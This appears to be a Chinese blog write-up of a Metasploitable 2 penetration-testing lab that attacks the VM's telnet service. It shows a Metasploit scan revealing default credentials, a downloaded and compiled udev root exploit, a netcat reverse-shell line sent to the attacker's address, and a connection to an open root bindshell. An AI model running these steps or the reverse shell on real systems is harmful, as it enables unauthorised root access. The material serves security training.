Metasploitable 2 渗透练习:利用telnet渗透

方法1.

msf >use auxiliary/scanner/telnet/telnet_version

msf auxiliary(telnet_version) > show options

Module options (auxiliary/scanner/telnet/telnet_version):

Name      Current Setting  Required  Description

----      ---------------  --------  -----------

PASSWORD                   no        The password for the specified username

RHOSTS                     yes       The target address range or CIDR identifier

RPORT     23               yes       The target port

THREADS   1                yes       The number of concurrent threads

TIMEOUT   30               yes       Timeout for the Telnet probe

USERNAME                   no        The username to authenticate as

msf auxiliary(telnet_version) >set rhosts 192.168.86.129

rhosts => 192.168.86.129

msf auxiliary(telnet_version) >exploit

[*] 192.168.86.129:23 TELNET _                  _       _ _        _     _      ____  \x0a _ __ ___   ___| |_ __ _ ___ _ __ | | ___ (_) |_ __ _| |__ | | ___|___ \ \x0a| '_ ` _ \ / _ \ __/ _` / __| '_ \| |/ _ \| | __/ _` | '_ \| |/ _ \ __) |\x0a| | | | | |  __/ || (_| \__ \ |_) | | (_) | | || (_| | |_) | |  __// __/ \x0a|_| |_| |_|\___|\__\__,_|___/ .__/|_|\___/|_|\__\__,_|_.__/|_|\___|_____|\x0a                            |_|                                          \x0a\x0a\x0aWarning: Never expose this VM to an untrusted network!\x0a\x0aContact: msfdev[at]metasploit.com\x0a\x0aLogin withmsfadmin/msfadminto get started\x0a\x0a\x0ametasploitable login:

[*] Scanned 1 of 1 hosts (100% complete)

[*] Auxiliary module execution completed

msf auxiliary(telnet_version) >

msfadmin用户登录:

提权(转载):

1.打开一个终端:

netcat -vlp 4444#监听444端口

2.打开另一个终端:

telnet 192.168.86.129#telnet连接目标主机,以msfadmin普通用户登录

msfadmin@metasploitable:~$pwd

/home/msfadmin

msfadmin@metasploitable:~$ls

vulnerable

msfadmin@metasploitable:~$wget http://www.exploit-db.com/download/8572

--09:09:34--  http://www.exploit-db.com/download/8572

=> `8572'

Resolving www.exploit-db.com... 23.23.150.193, 23.23.129.3

Connecting to www.exploit-db.com|23.23.150.193|:80... connected.

HTTP request sent, awaiting response... 301 Moved Permanently

Location: http://www.exploit-db.com/download/8572/ [following]

--09:09:40--  http://www.exploit-db.com/download/8572/

=> `index.html'

Reusing existing connection to www.exploit-db.com:80.

HTTP request sent, awaiting response... 200 OK

Length: 2,768 (2.7K) [application/txt]

100%[==============================================>] 2,768         --.--K/s

09:09:45 (74.99 MB/s) - `index.html' saved [2768/2768]

msfadmin@metasploitable:~$ls

index.htmlvulnerable

msfadmin@metasploitable:~$mv index.html exploit.c

msfadmin@metasploitable:~$ls

exploit.cvulnerable

msfadmin@metasploitable:~$gcc exploit.c -o exploit

msfadmin@metasploitable:~$echo '#!/bin/sh' > /tmp/run

msfadmin@metasploitable:~$echo '/bin/netcat -e /bin/sh 192.168.86.1 4444' >> /tmp/run

msfadmin@metasploitable:~$ps -edf |grep udev

root26921  0 06:27 ?        00:00:00 /sbin/udevd --daemon

msfadmin  5782  5745  0 09:13 pts/1    00:00:00 grep udev

msfadmin@metasploitable:~$./exploit 2691#这里2691=2692-1

msfadmin@metasploitable:~$

ok,打开前面监听444端口的那个终端看看!

方法2.

这是从一个视频教程中看到的方法,用amap扫目标主机,扫到如下信息:

然后telnet 172.16.177.128 1524就直接连接了!

视频链接http://edu.aqniu.com/course/299
最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

推荐阅读更多精彩内容

  • 一 漏洞及漏洞发掘方法 漏洞,是指在硬件、软件、协议实现或系统安全策略上存在缺陷,攻击者能够在未授权的情况下对系统...
    kaitoulee阅读 15,318评论 0 30
  • http://192.168.136.131/sqlmap/mysql/get_int.php?id=1 当给sq...
    xuningbo阅读 10,400评论 2 22
  • 转自:http://www.freebuf.com/sectool/105524.html 本文为作者总结自己在渗...
    许安念安阅读 5,626评论 0 10
  • 开始工作 当虚拟系统启动之后,使用用户名msfadmin,和密码msfadmin登陆。使用shell运行ifcon...
    linkally阅读 2,396评论 0 0
  • 白马容成与一众好友道别完,决定回墨染山。她已经好久不见师父师娘,很是想念。离开墨染山的时候,林泊如交托之事如今都已...
    莎莫阿姨阅读 244评论 0 0